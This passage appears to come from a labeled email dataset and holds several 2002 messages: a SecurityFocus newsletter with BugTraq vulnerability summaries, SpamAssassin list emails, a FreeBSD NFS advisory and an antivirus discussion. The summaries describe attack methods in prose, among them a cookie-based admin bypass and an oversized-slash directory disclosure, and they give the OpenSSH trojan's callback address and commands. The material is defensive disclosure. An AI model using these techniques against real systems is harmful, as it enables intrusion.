Vulnerability 15. OpenSSH Trojan Horse Vulnerability 16. Bharat Mediratta Gallery Remote File Include Vulnerability 17. John G. Myers MUnpack Malformed MIME Encoded Message Buffer... 18. Dispair Remote Command Execution Vulnerability 19. Mailreader Session Hijacking Vulnerability 20. John G. Myers MPack/MUnpack Malformed Filename Vulnerability 21. Fake Identd Client Query Remote Buffer Overflow Vulnerability III. LINUX FOCUS LIST SUMMARY 1. LDAP Auth? (Thread) 2. LDAP auth (Thread) 3. Administrivia: Gone Fishin' (Thread) IV. NEW PRODUCTS FOR LINUX PLATFORMS 1. Gateway Guardian 2. PakSecured Linux 3. Progressive Systems VPN V. NEW TOOLS FOR LINUX PLATFORMS 1. Astaro Security Linux (Stable 3.x) v3.202 2. FCheck 2.07.59 3. The @stake Sleuth Kit (TASK) v1.50 VI. SPONSORSHIP INFORMATION I. FRONT AND CENTER ------------------- 1. Advanced Log Processing By Anton Chuvakin Reading logs is a crucial part of incident detection and response. However, it is easy for security personnel to be overwhelmed by the sheer volume of logs. This article will offer a brief overview of log analysis, particularly: log transmission, log collection and log analysis. It will also briefly touch upon log storing and archival. http://online.securityfocus.com/infocus/1613 2. Assessing Internet Security Risk, Part Three: an Internet Assessment Methodology Continued by Charl van der Walt This article is the third in a series that is designed to help readers to assess the risk that their Internet-connected systems are exposed to. In the first installment, we established the reasons for doing a technical risk assessment. In the second part, we started to discuss the methodology that we follow in performing this kind of assessment. In this installment, we will continue to discuss methodology, particularly visibility and vulnerability scanning. http://online.securityfocus.com/infocus/1612 3. Copyright, Security, and the Hollywood Hacking Bill By Richard Forno Proposed copyright enforcement legislation may allow the powerful entertainment lobby to circumvent fundamental constitutional protections, and may create chaos on the Internet. http://online.securityfocus.com/columnists/99 4. SecurityFocus DPP Program Attention Non-profit Organizations and Universities!! Sign-up now for preferred pricing on the only global early-warning system for cyber attacks - SecurityFocus DeepSight Threat Management System. Click here for more information: http://www.securityfocus.com/corporate/products/dpsection.shtml II. BUGTRAQ SUMMARY ------------------- 1. OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability BugTraq ID: 5363 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5363 Summary: OpenSSL is an open source implementation of the SSL protocol. It is used by a number of other projects, including but not restricted to Apache, Sendmail, Bind, etc.. It is commonly found on Linux and Unix based systems. A buffer overflow vulnerability has been reported in some versions of OpenSSL. When initiating an OpenSSL session, some information is shared between the client and the server, including key data. The reported vulnerability lies in the handling of the client key value during the negotiation of the SSLv2 protocol. A malicious client may exploit this vulnerability by transmitting a malformed key to the vulnerable server. Careful exploitation may result in execution of arbitrary code as the server process, and the attacker gaining local access to the vulnerable system. More primitive attacks may result in the server process crashing, possibly producing a denial of service condition. The consequences of exploitation may vary with the nature of the application using OpenSSL. Oracle reports that CorporateTime Outlook Connector is only vulnerable under Microsoft Windows 98, NT, 2K, and XP. ** This vulnerability was originally part of BID 5353, Multiple OpenSSL Buffer Overflow Vulnerabilities. It has now been reissued as a separate vulnerability. 2. Abyss Web Server HTTP GET Request Directory Contents Disclosure Vulnerability BugTraq ID: 5345 Remote: Yes Date Published: Jul 29 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5345 Summary: Abyss Web Server is a freely available personal web server. It is maintained by Aprelium Technologies and runs on Microsoft Windows operating systems, as well as Linux. A vulnerability has been reported for Abyss Web Server 1.0.3 running on a Microsoft Windows platform. It is possible for an attacker to make a request such that the contents of the specified directory are revealed. The vulnerability occurs due to the manner in which excessive '/' characters are handled in web requests. An attacker making a GET request followed by 256 '/' characters will cause Abyss Web Server to return an error page containing the directory listing of the specified directory. An attacker may be able to use this information to launch further, potentially damaging attacks, against a vulnerable system. 3. DotProject User Cookie Authentication Bypass Vulnerability BugTraq ID: 5347 Remote: Yes Date Published: Jul 29 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5347 Summary: dotproject is web-based project management software, written in PHP. It is designed to run on Unix and Linux variants. dotproject is prone to an issue which may allow remote attackers to bypass authentication and gain administrative access to the software. This may be accomplished by submitting a maliciously crafted 'user_cookie' value either manually or via manipulation of URI parameters. For example, the attacker may manually craft a cookie with a 'user_cookie' value of 1 and submit it to the project management system. An attacker may also submit a malicious web request with the 'user_cookie' URI parameter set to 1. In both instances, the attacker will gain administrative access to the project management system. This problem is due to the software relying on the 'user_cookie' value to authenticate the user. 4. OpenSSL SSLv3 Session ID Buffer Overflow Vulnerability BugTraq ID: 5362 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5362 Summary: OpenSSL is an open source implementation of the SSL protocol. It is used by a number of other projects, including but not restricted to Apache, Sendmail, Bind, etc.. It is commonly found on Linux and Unix based systems. A vulnerability has been reported for OpenSSL. The vulnerability affects SSLv3 session IDs. When initiating contact with SSLv3 servers, clients and servers alike exchange information. Session information is stored in a session key with a unique session ID. Reportedly when a an oversized SSL version 3 session ID is supplied to a client from a malicious server, it is possible to overflow a buffer on the remote system. This could result in key memory areas on the vulnerable, remote system being overwritten, including stack frame data. An attacker may be able to take advantage of this vulnerability to execute malicious code on a vulnerable SSLv3 client machine. Oracle reports that CorporateTime Outlook Connector is only vulnerable under Microsoft Windows 98, NT, 2K, and XP. ** This vulnerability was originally part of BID 5353, Multiple OpenSSL Buffer Overflow Vulnerabilities. It has now been reissued as a separate vulnerability. 5. phpBB2 Gender Mod Remote SQL Injection Vulnerability BugTraq ID: 5342 Remote: Yes Date Published: Jul 29 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5342 Summary: phpBB2 is an open-source web forum application that is written in PHP and backended by a number of database products. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems. Gender Mod is a modification for phpBB2 which allows the association of a gender with a given user profile. A SQL injection vulnerability has been reported in this mod. A malicious user may modify the specified value for 'gender' when updating their profile. It is possible to include additional SQL statements in this string, and subvert the SQL statement used to update the user profile. It has been reported possible to gain administrative access to the phpBB2 site through exploitation of this issue. Other attacks may be possible, including the ability to view sensitive database information or to modify additional information stored in the database. 6. ShoutBox Form Field HTML Injection Vulnerability BugTraq ID: 5354 Remote: Yes Date Published: Jul 29 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5354 Summary: shoutBOX is web-based user feedback software. It is written in PHP and runs on Unix and Linux variants as well as Microsoft Windows operating systems. ShoutBox does not sufficiently sanitize HTML tags from input supplied via form fields. In particular, the user website URL field of the feedback form is not sanitized of HTML tags. Attackers may exploit this lack of input validation to inject arbitrary HTML and script code into pages that are generated by the script. This may result in execution of attacker-supplied code in the web client of a user who visits such a page. HTML and script code will be executed in the security context of the site hosting the software. This condition may be exploited to hijack web content or potentially steal cookie-based authentication credentials. 7. Sympoll File Disclosure Vulnerability BugTraq ID: 5360 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5360 Summary: Sympoll is web-based voting booth software. It is implemented in PHP and will run on most Unix and Linux variants as well as Microsoft Windows operating systems. Sympoll is prone to an issue which may allow remote attackers to disclose the contents of arbitrary webserver readable files. This vulnerability is only present on hosts which are running the vulnerable version of the software and have the PHP 'register_globals' directive enabled. The source of this vulnerability is reported to be insufficient integrity checking of variables. The vendor has stated that this issue is only believed to affect Sympoll version 1.2. Exploitation of this issue on Microsoft Windows operating systems may potentially expose arbitrary system files since webservers typically run in the SYSTEM context. 8. OpenSSL ASN.1 Parsing Error Denial Of Service Vulnerability BugTraq ID: 5366 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5366 Summary: OpenSSL is an open source implementation of the SSL protocol. It is used by a number of other projects, including but not restricted to Apache, Sendmail, Bind, etc.. It is commonly found on Linux and Unix based systems. A remotely exploitable denial of service condition has been reported in the OpenSSL ASN.1 library. This vulnerability is due to parsing errors and affects SSL, TLS, S/MIME, PKCS#7 and certificate creation routines. In particular, malformed certificate encodings could cause a denial of service to server and client implementations which depend on OpenSSL. Oracle reports that CorporateTime Outlook Connector is only vulnerable under Microsoft Windows 98, NT, 2K, and XP. ** This vulnerability was originally part of BID 5353, Multiple OpenSSL Buffer Overflow Vulnerabilities. It has now been reissued as a separate vulnerability. 9. William Deich Super SysLog Format String Vulnerability BugTraq ID: 5367 Remote: No Date Published: Jul 31 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5367 Summary: super is an open source set-uid root utility that allows for a similar functionality to that of the sudo utility. It is written for use on Linux and Unix variant operating systems. super is prone to a format string vulnerability. This problem is due to incorrect use of the syslog() function to log error messages. It is possible to corrupt memory by passing format strings through the vulnerable logging function. This may potentially be exploited to overwrite arbitrary locations in memory with attacker-specified values. The vulnerability is a result of compiling super with syslog support. Due to an error in the file, error.c, users that are not in the super configuration file will still be able to execute code with root privileges. Successful exploitation of this issue may allow the attacker to execute arbitrary instructions with root privileges. 10. Frederic Tyndiuk Eupload Plain Text Password Storage Vulnerability BugTraq ID: 5369 Remote: Yes Date Published: Jul 31 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5369 Summary: Frederic Tyndiuk Eupload is a small script designed to facilitate uploading of files to a remote server. It is written in Perl and should work with Microsoft Windows and Linux and Unix variant operating systems. A problem with Eupload 1.0 may make it possible for remote attackers to gain access to sensitive information. Eupload does not cryptographically protect stored passwords. Passwords contained in the configuration file, password.txt, are stored in plain text. They may be read by simply viewing the file. The file, password.txt, is stored in a web accessible location and is, itself, accessible for retrieval. Thus it is trivial for an attacker to obtain user passwords and abuse the Eupload service. This problem could allow an attacker to gain access to the passwords to protected resources. 11. Util-linux File Locking Race Condition Vulnerability BugTraq ID: 5344 Remote: No Date Published: Jul 29 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5344 Summary: The util-linux package is a set of commonly used system utilities such as 'chfn' and 'chsh'. It is included with many Linux distributions. A race condition has been reported in code shared by the util-linux utilities. The condition is related to file locking. Failure to check for the existence of a lockfile prior to sensitive operations may, under specific circumstances, open a window of opportunity for attack. The util-linux utilities often write to sensitive files such as /etc/passwd/. Attackers may exploit the condition to inject arbitrary data into these files to elevate privileges. The reported attacks are complex, time dependent and require specific circumstances such as system administrator interaction and a large passwd file. Red Hat Linux is known to ship with util-linux as a core component. Other distributions, those that are derived from Red Hat in particular, may also be vulnerable. It should be noted that the utilities included with the shadow-utils package (shipped with SuSE Linux) are not vulnerable. 12. OpenSSL Kerberos Enabled SSLv3 Master Key Exchange Buffer Overflow Vulnerability BugTraq ID: 5361 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5361 Summary: OpenSSL is an open source implementation of the SSL protocol. It is used by a number of other projects, including but not restricted to Apache, Sendmail, Bind, etc.. It is commonly found on Linux and Unix based systems. A vulnerability has been reported for OpenSSL 0.9.7 pre-release versions. This vulnerability is present only when Kerberos is enabled for a system using SSL version 3. When initiatiating contact between a SSLv3 server, master keys are exchanged between the client and the server. When an oversized master key is supplied to a SSL version 3 server by a malicious client, it may cause a buffer to overflow on the vulnerable system. As a result, stack memory on the vulnerable server will become corrupted. This could enable the attacker to take control of the SSLv3 server process and cause it to execute malicious, attacker supplied code. ** This vulnerability was originally part of BID 5353, Multiple OpenSSL Buffer Overflow Vulnerabilities. It has now been reissued as a separate vulnerability. 13. OpenSSL ASCII Representation Of Integers Buffer Overflow Vulnerability BugTraq ID: 5364 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5364 Summary: OpenSSL is an open source implementation of the SSL protocol. It is used by a number of other projects, including but not restricted to Apache, Sendmail, Bind, etc.. It is commonly found on Linux and Unix based systems. Remotely exploitable buffer overflow conditions have been reported in OpenSSL. This issue is due to insufficient checking of bounds with regards to ASCII representations of integers on 64 bit platforms. It is possible to overflow these buffers on a vulnerable system if overly large values are submitted by a malicious attacker. Exploitation of this vulnerability may allow execution of arbitrary code with the privileges of the vulnerable application, service or client. Oracle reports that CorporateTime Outlook Connector is only vulnerable under Microsoft Windows 98, NT, 2K, and XP. ** This vulnerability was originally part of BID 5353, Multiple OpenSSL Buffer Overflow Vulnerabilities. It has now been reissued as a separate vulnerability. 14. ParaChat Phantom User Denial Of Service Vulnerability BugTraq ID: 5370 Remote: Yes Date Published: Jul 31 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5370 Summary: ParaChat is a web-based chatting system. It is available for most Unix and Linux variants as well as Microsoft Windows operating systems. ParaChat chat servers are prone to a denial of service condition. If a user has left the webpage for a chat room using the Back or Forward buttons of their browser in lieu of logging out, their account will still be logged into the chat room until it times out 15 minutes later. A malicious user may do this repeatedly as different users to overload the chat server with ""phantom"" users. A denial of service may be the result. 15. OpenSSH Trojan Horse Vulnerability BugTraq ID: 5374 Remote: Yes Date Published: Aug 01 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5374 Summary: OpenSSH is a freely available implementation of the SSH client-server protocol. It is distributed and maintained by the OpenSSH team. Reportedly, the server hosting openssh, ftp.openbsd.org, was compromised recently. It has been reported that the intruder made modifications to the source code of openssh to include trojan horse code. Downloads of the openssh source code from ftp.openbsd.org between July 30, 2002 and July 31, 2002 likely contain the trojan code. The trojan code appears to be included in the file, bf-test.c. Reports say that the trojan will run once upon compilation of openssh. The trojan process is named 'sh' or the compiling user's default shell. Once executed the trojan attempts to connect to 203.62.158.32 on port 6667. The trojan will then wait for one of three commands. A connection to the specified address is attempted once every hour. 'D' will cause the trojan to execute '/bin/sh'. 'M' will cause the trojan to respawn and 'A' will terminate the trojan process. It is highly probable that this trojan will give remote root access to vulnerable systems. The following sites also have been reported to carry the trojaned version of openssh-3.4p1.tar.gz: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/ ftp://ftp.usa.openbsd.org/pub/OpenBSD/OpenSSH/ ftp://ftp1.se.openbsd.org/pub/OpenBSD/OpenSSH/ It is not known whether other sites are affected as well. FreeBSD has reported the following MD5 checksum information. The following is the MD5 checksum of the trojaned version of openssh: MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57 The following is the MD5 checksum of openssh in the FreeBSD ports directory: MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 Note that a different checksum does not mean the backdoor does not exist. *** The OpenSSH team has released an advisory. Fixed versions of openssh are available for download since 1300 UTC August 1, 2002. The following MD5 checksum information was provided for fixed versions of openssh: MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8 MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2 MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01 MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a 16. Bharat Mediratta Gallery Remote File Include Vulnerability BugTraq ID: 5375 Remote: Yes Date Published: Aug 01 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5375 Summary: Gallery is an open source web based photo album. It is written in PHP and is available for Linux and Unix variant as well as Microsoft Windows operating systems. Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in the following PHP script files provided with Gallery: errors/configmode.php errors/needinit.php errors/reconfigure.php errors/unconfigured.php captionator.php An attacker may exploit this by supplying a path to a file, 'init.php', on a remote host as a value for the 'GALLERY_BASEDIR' parameter. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 17. John G. Myers MUnpack Malformed MIME Encoded Message Buffer Overflow Vulnerability BugTraq ID: 5385 Remote: No Date Published: Aug 02 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5385 Summary: John G. Myers mpack/munpack is a pair of utilities to encode and decode MIME format email. Versions are available for Linux and Unix variant operating systems as well as Microsoft DOS. A buffer overflow vulnerability has been reported for munpack 1.5. Reportedly, it is possible to cause munpack to crash when it receives a malformed email or NNTP news article. As this vulnerability is the result of a buffer overflow condition, it may be possible for an attacker to cause munpack to execute malicious attacker supplied code. This has not, however, been confirmed. 18. Dispair Remote Command Execution Vulnerability BugTraq ID: 5392 Remote: Yes Date Published: Jul 30 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5392 Summary: Dispair is a web-based .tar.gz archive viewer. It is written in Perl and is available for Linux and Unix operating systems. Dispair fails to sufficiently validate user-supplied input before it is passed to the shell via the Perl open() function. A remote attacker may exploit this condition by injecting arbitrary commands into CGI parameters in a request to the vulnerable script. The result of successful exploitation is that attackers may potentially exploit this issue to execute arbitrary commands on the underlying shell with the privileges of the webserver process. 19. Mailreader Session Hijacking Vulnerability BugTraq ID: 5393 Remote: Yes Date Published: Aug 02 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5393 Summary: Mailreader is an open source project which allows POP3 mail access through a web interface. Mailreader is implemented in Perl, and should work under Microsoft Windows, Linux and other Unix based operating systems. A vulnerability has been reported in some versions of Mailreader. It may be possible for a remote attacker to hijack the session of a legitimate user of the system. This may result in access to sensitive information, or the ability to send mail and otherwise function as the legitimate user. Full exploit details are not available. It is possible that this vulnerability results from session information being tracked through CGI parameters, which may be trivially spoofed by a remote user. This possibility has not, however, been confirmed. 20. John G. Myers MPack/MUnpack Malformed Filename Vulnerability BugTraq ID: 5386 Remote: No Date Published: Aug 02 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5386 Summary: John G. Myers mpack/munpack is a pair of utilities to encode and decode MIME format email. Versions are available for Linux and Unix variant operating systems as well as Microsoft DOS. A vulnerability has been reported for mpack/munpack 1.5. Reportedly, it is possible to cause munpack to create files outside of a designated directory. When mpack/munpack receives a MIME encoded message with an attachment that refers to a file, using a '../' sequence followed by the filename, it may decode the attachment outside of a designated directory. The impact of this vulnerability is limited as it has been reported that munpack will only accept a single '../' sequence and will not overwrite any existing files. 21. Fake Identd Client Query Remote Buffer Overflow Vulnerability BugTraq ID: 5351 Remote: Yes Date Published: Jul 29 2002 12:00AM Relevant URL: http://www.securityfocus.com/bid/5351 Summary: Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems. Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible. Fake Identd is designed to drop privileges. However, it has also been reported that this behavior is flawed in some versions. As a result, exploitation may result in the execution of code with root privileges. III. LINUX FOCUS LIST SUMMARY --------------------------------- 1. LDAP Auth? (Thread) Relevant URL: http://online.securityfocus.com/archive/91/285167 2. LDAP auth (Thread) Relevant URL: http://online.securityfocus.com/archive/91/285168 3. Administrivia: Gone Fishin' (Thread) Relevant URL: http://online.securityfocus.com/archive/91/285159 IV. NEW PRODUCTS FOR LINUX PLATFORMS ------------------------------------ 1. Gateway Guardian by NetMaster Networking Solutions, Inc. Platforms: Linux Relevant URL: http://www.netmaster.com/products/gatewayguardian.html Summary: Developed with NetMaster's own Linux distribution tailored specifically for firewall applications, Gateway Guardian is a very flexible, high-end firewall that takes a revolutionary approach to allowing a company to use a lower-end PC as their Internet gateway. Running on a PC that is not the Internet gateway, Gateway Guardian uses a pure Java application to preconfigure hardware, Internet provider settings, and firewall rules through a wizard like format. When the information has been entered, the Java application writes an entire Linux operating system and the custom firewall configuration onto a 3-1/4"" floppy diskette. 2. PakSecured Linux by Paktronix Systems Platforms: Linux Relevant URL: http://www.paktronix.com/products/paklinux.php Summary: PakSecured Linux PakSecured Linux is currently the only complete Policy Routing Operating System with a broad computing platform base. Based on the Linux OS, PakSecured Linux runs on all processor families capable of running the Linux kernel. Policy Routing encompasses Quality of Service (QoS), Advanced TCP/IP routing of IPv4 and IPv6, IPSec encryption and VPN structures, Bandwidth Allocation and Traffic Shaping, and Address Allocation features such as NAT and IP Masquerade. While these features are available independently in various products, PakSecured Linux implements the full range of Policy Routing. All of these features are integrated into a hardened OS distribution designed to operate in hostile network environments. PakSecured Linux has no desktop or user based functionality and is specifically targeted at servers with a need for high security, 24x7 uptime, and which are required to run without operator intervention. Coupling these needs with the flexibility and power of a complete Policy Routing structure puts PakSecured Linux into a unique niche. 3. Progressive Systems VPN by Progressive Systems Platforms: Linux, Propietary Hardware Relevant URL: http://www.progressive-systems.com/products/vpn/ Summary: Progressive Systems VPN is a remote access VPN designed to let you quickly and securely allow remote network access to whomever you choose, and to only those you allow. Progressive Systems VPN features SmartGate from V-One. SmartGate is the market share leading extranet VPN product now available for Linux or as an appliance through Progressive Systems. V. NEW TOOLS FOR LINUX PLATFORMS -------------------------------- 1. Astaro Security Linux (Stable 3.x) v3.202 by astaro Relevant URL: http://www.astaro.com/products/index.html Platforms: Linux, POSIX Summary: Astaro Security Linux is a firewall solution. It does stateful packet inspection filtering, content filtering, user authentication, virus scanning, VPN with IPSec and PPTP, and much more. With its Web-based management tool, WebAdmin, and the ability to pull updates via the Internet, it is pretty easy to manage. It is based on a special hardened Linux 2.4 distribution where most daemons are running in change-roots and are protected by kernel capabilities. 2. FCheck 2.07.59 by Michael A. Gumienny Relevant URL: http://www.geocities.com/fcheck2000/FCheck_2.07.59.tar.gz Platforms: AIX, BSDI, DG-UX, Digital UNIX/Alpha, FreeBSD, HP-UX, Linux, NetBSD, OpenBSD, Perl (any system supporting perl), SCO, Solaris, SunOS, UNIX, Unixware, Windows 2000, Windows 3.x, Windows 95/98, Windows NT Summary: FCHECK is a very stable PERL script written to generate and comparatively monitor a UNIX system against its baseline for any file alterations and report them through syslog, console, or any log monitoring interface. Monitoring events can be done in as little as one minute intervals if a system's drive space is small enough, making it very difficult to circumvent. This is a freely-available open-source alternative to 'tripwire' that is time tested, and is easier to configure and use. 3. The @stake Sleuth Kit (TASK) v1.50 by @stake Relevant uRL: http://www.atstake.com/research/tools/task/ Platforms: FreeBSD, Linux, MacOS, OpenBSD, Solaris Summary: The @stake Sleuth Kit (TASK) is the only open source forensic toolkit for a complete analysis of Microsoft and UNIX file systems. TASK enables investigators to identify and recover evidence from images acquired during incident response or from live systems. TASK is also open source, allowing investigators to verify the actions of the tool or customize it to specific needs. VI. SPONSORSHIP INFORMATION --------------------------- This newsletter is sponsored by: SecurityFocus DeepSight Threat Management System >>From June 24th - August 31st, 2002, SecurityFocus announces a FREE two-week trial of the DeepSight Threat Management System: the only early warning system providing customizable and comprehensive early warning of cyber attacks and bulletproof countermeasures to prevent attacks before they hit your network. With the DeepSight Threat Management System, you can focus on proactively deploying prioritized and specific patches to protect your systems from attacks, rather than reactively searching dozens of Web sites or hundreds of emails frantically trying to gather information on the attack and how to recover from it. Sign up today! http://www.securityfocus.com/corporate/products/promo/tmstrial-lx.shtml -------------------------------------------------------------------------------",0,1 yyyy@spamassassin.taint.org (Justin Mason),SpamAssassin-talk@example.sourceforge.net,"Tue, 06 Aug 2002 15:06:27 +0100",[SAtalk] BIG CHANGE coming up in cvs,"CVS users: heads up! I think we've been talking about it long enough, so we might as well check it in now. It's about time to check in http://bugzilla.spamassassin.org/show_bug.cgi?id=546 This change will *remove* support for delivery to a local mailbox (ie the default mode of operation when ""spamassassin"" is run). In addition, the ""From "" line will no longer be added to mails as a result. --j. -- 'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),Marc Perkel ,"Tue, 06 Aug 2002 14:18:58 +0100",Re: [SAdev] Adding Scripting to Spam Assassin,"Marc -- Since perl itself is a scripting language, and allows code to be eval'ed, I can't see why we need to go the whole hog and implement another turing-complete scripting language in perl. Let's go back to *why* this would be useful. As far as I can see, you're proposing this to deal with multi-match rules. There's already a tracker in the bug DB for these, with a proposed implementation. http://www.hughes-family.org/bugzilla/show_bug.cgi?id=47 I think this might have stalled due to shortcomings in the existnig proposal, so I've just added my own thoughts on how to implement them. ;) Comments on the proposed system would be welcome folks.... reply to the bug db. --j. -- 'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """Peter Kruse"" ","""'Thor Larholm'"" , ,","Tue, 6 Aug 2002 18:11:54 +0200",SV: More content filtering woes,"Hi Thor, [Still trying to catch my breath] :-) I guess there's no easy way to avoid this. In order to proactively protect endusers they'll need to put such code (or part of it) into their defs. Since antivirus products still gets smarter and smarter and heuristics are getting better and better the odds aginst not running into false positives are poor. Some products will woe plenty of these some are better to avoid the madness (!). I'll leave you to do the test. Consider that corporate and endusers are most likely using Microsoft software without updating as they should. AV-software is now trying to protect these poor souls adding proxy functionality to catch e.g. malicious content in HTML based e-mails and for a good reason. Looking at http://www.pivx.com/larholm/unpatched/ says it all! ;-) Med venlig hilsen // Kind regards Peter Kruse Security- and Virusanalyst Telia @ Security http://www.teliainternet.dk Member of AVIEN and FIRST > -----Oprindelig meddelelse----- > Fra: Thor Larholm [mailto:Thor@jubii.dk] > Sendt: 5. august 2002 10:13 > Til: 'nick@virus-l.demon.co.uk'; FOCUS-VIRUS@SECURITYFOCUS.COM > Emne: RE: More content filtering woes > > > What I find even more annoying is the horde of false > positives that antivirus software constantly yaps one about > each time one sends some demonstratory POC to a mailinglist > only to have several witless antivirus vendors add ones POC > to their virus library, yielding tons of ""Quarantined"" > replies on a daily basis without any added level of security > to the enduser whatsoever since any reallife exploitation > would yield a completely different signature, thus defeating > the purpose of adding ones signature. > > *phew* That could have used some punctuation. :) > > > > > Regards > Thor Larholm > Jubii A/S - Internet Programmer >",0,1 FreeBSD Security Advisories ,Bugtraq ,"Mon, 5 Aug 2002 16:50:07 -0700 (PDT)",FreeBSD Security Advisory FreeBSD-SA-02:36.nfs,"-----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-02:36.nfs Security Advisory The FreeBSD Project Topic: Bug in NFS server code allows remote denial of service Category: core Module: nfs Announced: 2002-08-05 Credits: Mike Junk Affects: All releases prior to 4.6.1-RELEASE-p7 4.6-STABLE prior to the correction date Corrected: 2002-07-19 17:19:53 UTC (RELENG_4) 2002-08-01 19:31:55 UTC (RELENG_4_6) 2002-08-01 19:31:54 UTC (RELENG_4_5) 2002-08-01 19:31:54 UTC (RELENG_4_4) FreeBSD only: NO I. Background The Network File System (NFS) allows a host to export some or all of its filesystems, or parts of them, so that other hosts can access them over the network and mount them as if they were on local disks. NFS is built on top of the Sun Remote Procedure Call (RPC) framework. II. Problem Description A part of the NFS server code charged with handling incoming RPC messages had an error which, when the server received a message with a zero-length payload, would cause it to reference the payload from the previous message, creating a loop in the message chain. This would later cause an infinite loop in a different part of the NFS server code which tried to traverse the chain. III. Impact Certain Linux implementations of NFS produce zero-length RPC messages in some cases. A FreeBSD system running an NFS server may lock up when such clients connect. An attacker in a position to send RPC messages to an affected FreeBSD system can construct a sequence of malicious RPC messages that cause the target system to lock up. IV. Workaround 1) Disable the NFS server: set the nfs_server_enable variable to ""NO"" in /etc/rc.conf, and reboot. Alternatively, if there are no active NFS clients (as listed by the showmount(8) utility), just killing the mountd and nfsd processes should suffice. 2) Add firewall rules to block RPC traffic to the NFS server from untrusted hosts. V. Solution The following patch has been verified to apply to FreeBSD 4.4, 4.5, and 4.6 systems. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:36/nfs.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:36/nfs.patch.asc b) Apply the patch. # cd /usr/src # patch < /path/to/patch c) Recompile your kernel and modules as described in and reboot the system. VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Path Revision Branch - ------------------------------------------------------------------------- src/sys/nfs/nfs_socket.c RELENG_4 1.60.2.5 RELENG_4_6 1.60.2.3.2.1 RELENG_4_5 1.60.2.1.6.1 RELENG_4_4 1.60.2.3.4.1 - ------------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) iQCVAwUBPU8NTVUuHi5z0oilAQHMZAP+L80QudeELKHfZYxG5PPf6cuWkreACavl LP1oJDHLWuw32K4tM0Y+v505t+U2/wGnl2dSqwkfemzxlhzfsmrbubQx8EFgO6sb nhEEtSfu4t81ylHTY+qEWFtRweB5A1tGJaYV67wybWZxulkYJ9qnRLKF4PToc0E3 T1Y/CN0DNYA= =2YSa -----END PGP SIGNATURE-----",0,1 """Craig R.Hughes"" ",yyyy@spamassassin.taint.org (Justin Mason),"Tue, 6 Aug 2002 14:45:23 -0700",Re: [SAtalk] BIG CHANGE coming up in cvs,"On Tuesday, August 6, 2002, at 10:19 AM, Justin Mason wrote: > > ""Craig R.Hughes"" said: > >> Excellent. After that, I'd suggest we work on stabilizing (ie >> no new features) for a bit, and getting 2.40 released. I think >> we're in reasonably good shape now with 2.40 (plus or minus some >> build issues occasionally creeping in), and Razor2 is starting >> to get a little less flakey (minus one or two server issues in >> the last few days). > > Yeah, I agree. Although note: I'd like to see the proposal to use > Received IPs in the AWL, get into 2.40 too. That's being actively > exploited right now. Yeah, AWL IPs is a good thing for 2.40 > Razor2 is definitely getting solid, and getting some good hits too! When it works, yeah. But it's so flakey I have to turn it off so that my mail can be guaranteed to actually get through in a decent timeframe. C",0,0 Ximian GNOME Security 